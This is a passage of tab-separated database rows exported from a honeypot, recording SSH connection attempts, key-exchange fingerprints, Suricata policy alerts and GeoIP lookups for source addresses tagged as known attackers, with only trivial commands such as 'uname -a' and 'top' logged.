35141	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:27.683184+03	2021-09-20 15:15:02.86169+03	{"_id": "dAYZA3wBvYTbRNuEs1rq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "96.78.175.36", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "f5c125d86b8c", "@version": "1", "duration": 0.3650999069213867, "duplicate": true, "timestamp": "2021-09-20T12:06:27.683184Z", "@timestamp": "2021-09-20T12:06:27.683Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	US
35142	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 15:06:27.56284+03	2021-09-20 15:15:02.86369+03	{"_id": "dQYZA3wBvYTbRNuEs1rq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "7a77cf6eee57", "@version": "1", "timestamp": "2021-09-20T12:06:27.562840Z", "@timestamp": "2021-09-20T12:06:27.562Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	BR
35143	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:27.952262+03	2021-09-20 15:15:02.86469+03	{"_id": "dgYZA3wBvYTbRNuEs1rq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:27.952262Z", "@timestamp": "2021-09-20T12:06:27.952Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	US
35144	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:28.31892+03	2021-09-20 15:15:02.86569+03	{"_id": "dwYZA3wBvYTbRNuEs1rq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "96.78.175.36", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "f5c125d86b8c", "@version": "1", "duration": 0.36728501319885254, "duplicate": true, "timestamp": "2021-09-20T12:06:28.318920Z", "@timestamp": "2021-09-20T12:06:28.318Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	US
35145	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:25.623914+03	2021-09-20 15:15:02.867689+03	{"_id": "UAYZA3wBvYTbRNuErFoX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "96.78.175.36", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "f5c125d86b8c", "@version": "1", "duration": 0.3647799491882324, "duplicate": true, "timestamp": "2021-09-20T12:06:25.623914Z", "@timestamp": "2021-09-20T12:06:25.623Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	US
35146	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:26.652622+03	2021-09-20 15:15:02.86869+03	{"_id": "XgYZA3wBvYTbRNuEsFoB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:26.652622Z", "@timestamp": "2021-09-20T12:06:26.652Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	US
35147	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:27.318165+03	2021-09-20 15:15:02.869689+03	{"_id": "ZQYZA3wBvYTbRNuEsFoC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.params", "message": [], "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:27.318165Z", "@timestamp": "2021-09-20T12:06:27.318Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	US
35148	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 15:06:27.329451+03	2021-09-20 15:15:02.87169+03	{"_id": "ZgYZA3wBvYTbRNuEsFoC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "7a77cf6eee57", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:06:27.329451Z", "@timestamp": "2021-09-20T12:06:27.329Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	BR
35156	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 15:06:27.756366+03	2021-09-20 15:15:02.882731+03	{"_id": "cQYZA3wBvYTbRNuEs1rp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "524510cb87d8", "@version": "1", "duration": 2.817650079727173, "timestamp": "2021-09-20T12:06:27.756366Z", "@timestamp": "2021-09-20T12:06:27.756Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
35149	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:26.652083+03	2021-09-20 15:15:02.87269+03	{"_id": "YwYZA3wBvYTbRNuEsFoC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.params", "message": [], "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:26.652083Z", "@timestamp": "2021-09-20T12:06:26.652Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	US
35150	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 15:06:27.320978+03	2021-09-20 15:15:02.87369+03	{"_id": "ZAYZA3wBvYTbRNuEsFoC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "3c29e2903913", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:06:27.320978Z", "@timestamp": "2021-09-20T12:06:27.320Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
35151	119.29.153.168	109.199.241.180	Suricata	2021-09-20 15:06:27.599782+03	2021-09-20 15:15:02.87669+03	{"_id": "aAYZA3wBvYTbRNuEsVog", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "119.29.153.168", "dest_ip": "192.168.20.116", "flow_id": 172281762647942, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48238, "dest_port": 22, "timestamp": "2021-09-20T12:06:27.599782Z", "@timestamp": "2021-09-20T12:06:27.599Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
35152	189.50.42.214	109.199.241.180	Suricata	2021-09-20 15:06:27.562274+03	2021-09-20 15:15:02.87769+03	{"_id": "aQYZA3wBvYTbRNuEsVol", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:06:27.096497+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "189.50.42.214", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1505796093606129, "payload": "AAADzAYU70x1vUGsKxEB11UNbT78RQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 38220, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:06:27.562274Z", "@timestamp": "2021-09-20T12:06:27.562Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......Lu.A.+...U\\rm>.E...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	BR
35153	119.29.153.168	109.199.241.180	Suricata	2021-09-20 15:06:27.601151+03	2021-09-20 15:15:02.87872+03	{"_id": "agYZA3wBvYTbRNuEsVon", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:06:27.036742+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "119.29.153.168", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 172281762647942, "payload": "AAADzAYUukcPXqrVlVfUK8lBrRKmIgAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48238, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:06:27.601151Z", "@timestamp": "2021-09-20T12:06:27.601Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......G.^...W.+.A...\\"...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	CN
35154	189.50.42.214	109.199.241.180	Fatt	2021-09-20 15:06:27.562274+03	2021-09-20 15:15:02.880721+03	{"_id": "bAYZA3wBvYTbRNuEslob", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "src_ip": "189.50.42.214", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": 